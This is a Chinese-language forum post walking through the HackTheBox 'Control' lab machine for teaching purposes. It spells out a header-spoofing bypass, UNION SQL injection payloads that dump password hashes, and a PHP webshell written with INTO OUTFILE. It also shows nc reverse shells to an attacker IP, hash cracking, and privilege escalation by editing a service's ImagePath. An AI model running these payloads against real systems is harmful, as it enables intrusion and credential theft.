电脑疯子技术论坛|电脑极客社区

微信扫一扫 分享朋友圈

已有 508 人浏览分享

HTB靶机渗透系列之Control

[复制链接]
508 0
Control是一个困难的靶机,知识点涉及访问限制绕过、SQL注入、哈希破解、凭证创建、服务枚举等感兴
趣的同学可以在HackTheBox中进行学习。

1647933547_6239786b2bb9ec650d5a1.png

通关思维导图

1647933550_6239786e135a35add6148.png

0x01 侦查

端口探测

首先使用 nmap 进行端口扫描

nmap -Pn -p- -sV -sC -A 10.10.10.167 -oA nmap_Control

51836.png

扫描结果显示目标开放了80、135、3306等端口

80端口

访问站点,这是一家做 WiFi 技术公司的官网

51832.png

源代码中发现一段注释,包含了一个IP:192.168.4.28

51828.png

点击Admin跳转至/admin.php下,返回错误

337.png

点击About跳转至/about.php下,其中还是关于他们公司的有关介绍

336.png

0x02 上线[iusr]

代理绕过

在访问admin.php时页面提示Header Missing,是否就意味着 HTTP 请求包中的头部信息呢?
因此我们找到了一个 HTTP 头部列表:headers.txt
请求头参考:https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers

335.png

使用 wfuzz 对请求头部进行模糊测试,如果无权访问 Chars 对应为89,可直接在 wfuzz 中过滤

wfuzz -c -w headers.txt -u http://10.10.10.167/admin.php -H "FUZZ: 10.10.10.167" --hh 89

299.png

无果后猜测可能是代理IP设置错误,将其替换成192.168.4.28再次进行模糊测试

wfuzz -c -w headers.txt -u http://10.10.10.167/admin.php -H "FUZZ: 192.168.4.28" --hh 89

298.png

当请求头部为X-Forwarded-For时返回7933,说明可能已经绕过了代理。使用浏览器代理插件modheader
定制请求头部,访问 admin.php 可成功进入控制台面板

296.png

SQL注入

在后台中创建一个名为mac的产品并搜索产品mac

289.png

开启 BurpSuite 修改的请求参数mac为mac',发现其中可能存在SQL注入漏洞

288.png

首先判断字段数,mac' oder by 6显示正常,mac' oder by 7#报错,说明字段数为6

286.png

查询数据库基础信息,包括数据库版本、用户名以及当前数据库名

mac' union select version(),user(),database(),4,5,6#

287.png

列出全部数据库,分别为information_schema、mysql、warehouse

mac' union select schema_name,2,3,4,5,6 from information_schema.schemata#

282.png

查询当前库所有数据表名,分别为product、product_category、product_pack

mac' union select table_name,2,3,4,5,6 from information_schema.tables wh
ere table_schema='warehouse'#

281.png

继续深挖表中数据未发现有用信息,开始查询数据库用户信息

mac' union select host,user,password,4,5,6 from mysql.user#
经过整理后用户名以及对应的哈希值如下

localhost root *0A4A5CAD344718DC418035A1F4D292BA603134D8
fidelity root *0A4A5CAD344718DC418035A1F4D292BA603134D8
127.0.0.1 root *0A4A5CAD344718DC418035A1F4D292BA603134D8
::1 root *0A4A5CAD344718DC418035A1F4D292BA603134D8
localhost manager *CFE3EEE434B38CBF709AD67A4DCDEA476CBA7FDA
localhost hector *0E178792E8FC304A2E3133D535D38CAF1DA3CD9D

查看个用户的权限,值得注意的是当前用户貌似只有file权限,而hector以及root则拥有许多特权

mac' union select grantee,privilege_type,is_grantable,4,5,6 from info
rmation_schema.user_privileges#

280.png

文件写入

由于当前用户具有file权限,也就是文件操作权限,可以尝试写入webshell路径则为默认
的 IIS 路径C:\inetpub\wwwroot\

mac' union select '<?php system($_GET[\'cmd\']);?>',2,3,4,5,6 into out
file 'c:/inetpub/wwwroot/mac.php'#

269.png

出现数据库报错,但是访问mac.php执行 whoami 命令成功,说明 webshell 已部署完成

268.png

在本地开启 http 服务用于传输nc64.exe

python3 -m http.server 80

通过 webshell 执行命令下载至\windows\temp\目录下

curl '10.10.10.167/mac.php?cmd=powershell+wget+http://10.10.14.13/nc64.e
xe+-outfile+\windows\temp\nc.exe'

本地监听443端口

nc -nvlp 443

执行 nc 获取反弹shell

curl '10.10.10.167/mac.php?cmd=\windows\temp\nc.exe+-e+cmd+10.10.14.13+443'

266.png

成功拿到反弹shell

0x03 权限提升[hector]

信息收集

进入C:\Users目录查看用户名,在其中再次发现用户Hector

dir c:\Users

219.png

查看该用户权限,该用户处于远程管理员组当中

net user hector

218.png

查看本地端口发现5859端口开放,这也就意味着我们可以通过WinRM进行登录

netstat -ano

216.png

哈希破解

在 mysql 数据中我们获得许多用户密码,经过整理后如下

root:0A4A5CAD344718DC418035A1F4D292BA603134D8
manager:CFE3EEE434B38CBF709AD67A4DCDEA476CBA7FDA
hector:0E178792E8FC304A2E3133D535D38CAF1DA3CD9D

尝试使用 hashcat 进行破解

hashcat -m 300 hashes --user /usr/share/wordlists/rockyou.txt --force

108.png

成功破解密码为l33th4x0rhector

凭证创建

使用 powershell 制作用户 hector 的身份凭证

powershell
ps > $env:ComputerName
ps > $user = "CONTROL\hector"
ps > $pass = "l33th4x0rhector"
ps > $secstr = New-Object -TypeName System.Security.SecureString
ps > $pass.ToCharArray() | ForEach-Object {$secstr.AppendChar($_)}
ps > $cred = new-object -typename System.Management.Automation.
PSCredential -argumentlist $user, $secstr
ps > Invoke-Command -Computer localhost -Credential $cred -ScriptBlock { whoami }

106.png

可以看到运行权限为 hector 身份

反弹shell

通过本地的 nc 完成反弹shell

ps > Invoke-Command -ScriptBlock {\windows\temp\nc.exe -e cmd
10.10.14.13 5555 } -computer localhost

在本地监听5555端口

rlwrap nc -nvlp 5555

但是当前访问\windows\temp中的 nc 被拒绝

105.png

将 nc 传输至\winndows\system32\spool\drivers\color\目录下并执行命令

ps > wget 10.10.14.13/nc64.exe -outfile \windows\system32\spool\drivers\color\nc64.exe
ps > Invoke-Command -credential $cred -ScriptBlock {\windows\system32\spool\drive
rs\color\nc64.exe -e cmd 10.10.14.13 5555 } -computer localhost

100.png

成功获取用户权限,在当前用户桌面上寻找flag

dir C:\Users\hector\Desktop

type C:\Users\hector\Desktop\user.txt

99.png

成功拿到第一个flag

0x04 权限提升[system]

信息收集

使用 powershell 检查系统当中的历史文件

ps > (Get-PSReadlineOption).HistorySavePath

98.png

查看 powershell 历史文件后发现两个命令:第一个命令为列出注册表CurrentControlSet下的子键;
第二个命令为获取CurrentControlSet的注册表项

type C:\Users\Hector\AppData\Roaming\Microsoft\Windows\PowerSh
ell\PSReadLine\ConsoleHost_history.txt

96.png

尝试执行第二个命令未发现可用信息

ps > get-acl HKLM:\SYSTEM\CurrentControlSet | format-list

39.png

枚举服务

但是访问其中的 Services 子键则发现当前用户对 Services 具有完全控制权限,那么这也就意味着我们可以更
改系统当中服务的注册表值。服务通常存在一个图像路径,它会指定驱动程序的图像文件的完全限定路径因此
只需要通过更改服务的图像路径来生成恶意进程。

ps > get-acl HKLM:\SYSTEM\CurrentControlSet\Services | format-list

38.png

但是如果更改服务路径就得重启服务,同时还需要确定重启哪个服务我们将服务列
表输出存储至$services当中

ps > $services = gci HKLM:\SYSTEM\CurrentControlSet\Services

ps > $services

36.png

结果列表中显示了很多服务,而当前用户作为非管理员用户无法随心所欲地重启服务因此在这么多服务当中找到可
重启的服务显得有些困难。查看服务的 SDDL 权限可确认当前用户可重启的服务列表。

SDDL即安全描述符字符串,该字符串将分为四个部分,O 代表所有者,G 代表组,D 代表自由访问控制列表 (DACL)
S 代表系统访问控制列表 (SACL),通常采用如下格式:

O:owner_sidG:group_sidD:dacl_flags(string_ace1)(string_ace2)…(string_acen)S:sacl_flag
s(string_ace1)(string_ace2)…(string_acen)

下表包含对其中 DACL 权限的划分

28.png

经过测试后我们发现服务 wuauserv 满足条件

sc sdshow wuauserv

26.png

管理员上线

通过reg add修改对应服务当中的图片路径为执行命令

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\wuauserv" /t RE
G_EXPAND_SZ /v ImagePath /d "\windows\system32\spool\drivers\color\nc64.exe -e
cmd 10.10.14.13 4444" /f

在本地监听4444端口

rlwrap nc -nvlp 4444

通过 sc 重启服务,加载 payload

sc.exe \\fidelity start wuauserv

22.png

由于当前shell并不稳定,因此需要执行命令获取相对稳定的shell,与此同时在本地监听6666端口

\windows\system32\spool\drivers\color\nc64.exe -e cmd 10.10.14.13 6666

21.png

执行后拿到稳定的shell且权限为 system

20.png

在管理员桌面上寻找第二个flag

dir c:\Users\administrator\Desktop

type c:\Users\administrator\Desktop\root.txt

19.png


成功拿到第二个flag

总结:

查看站点源代码发现注释中存在内网IP,在http请求头部中添加X-Forward-For为该IP即可绕过限制进入后台。经过测试我们
发现后台存在SQL注入,当前数据库可获取数据库用户的哈希值以及拥有文件写入权限,写入小马至站点目录当中,执行反弹
shell拿到用户权限。靶机当中包含用户hector,该用户也同样出现在数据库中,由此猜测它们的密码可能相同,使用hashcat
破解后拿到明文密码,通过powershell制作用户凭证,以hector用户执行反弹shell命令,成功完成权限提升。在hector用户
下存在历史命令文件,其中包含两个针对注册表CurrentControlSet的操作,查询其下的Services子键可发现hector用户对服
务拥有完全控制权限,而服务中通常存在一个图像路径,将其修改为反弹shell命令,重启服务后能够以系统权限运行命令由
于当前权限不是系统管理员,我们需要寻找拥有重启权限的服务,wuauserv服务是个不错的选择,修改其图片路径并重启服
务成功拿到系统权限。

您需要登录后才可以回帖 登录 | 注册

本版积分规则

1

关注

0

粉丝

9021

主题
精彩推荐
热门资讯
网友晒图
图文推荐

Powered by Pcgho! X3.4

© 2008-2022 Pcgho Inc.